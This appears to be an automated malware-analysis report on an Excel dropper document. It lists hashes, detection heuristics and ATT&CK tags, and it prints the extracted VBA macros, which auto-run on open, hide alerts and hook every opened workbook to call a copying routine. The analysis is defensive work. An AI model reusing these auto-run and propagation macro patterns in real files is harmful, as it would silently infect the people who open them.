Xls.Dropper.Agent-7368755-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 612639e4ebe0d104…

MALICIOUS

Office (OLE)

97.0 KB Created: 2013-08-07 02:14:01 Authoring application: WPS Office ¸öÈË°æ First seen: 2015-09-19
MD5: 112569998b2579b24c9b5a31f6a95fe0 SHA-1: b8a0144773040a97ba19ec25de6e532ceff9a050 SHA-256: 612639e4ebe0d104abc560ef6714ad5ade71a7da3acc32fabc550b38e32394fa
148 Risk Score

Malware Insights

Xls.Dropper.Agent-7368755-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains Excel 4.0 macros and VBA macros, with a Workbook_Open subroutine that calls a 'do_what' function. This function likely initiates the execution of a malicious payload. The ClamAV detection name 'Xls.Dropper.Agent-7368755-0' strongly suggests a dropper functionality, where the primary purpose is to download and execute a secondary malicious file. The document body content appears to be financial or project cost estimations, which is a common lure for phishing documents.

Heuristics 5

  • ClamAV: Xls.Dropper.Agent-7368755-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7368755-0
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 99,328 bytes but its declared streams total only 22,136 bytes — 77,192 bytes (78%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1120 bytes
SHA-256: 733eb43661d2ef0e54d7636555815dc20980ceef4c75866b2942458d446aaab2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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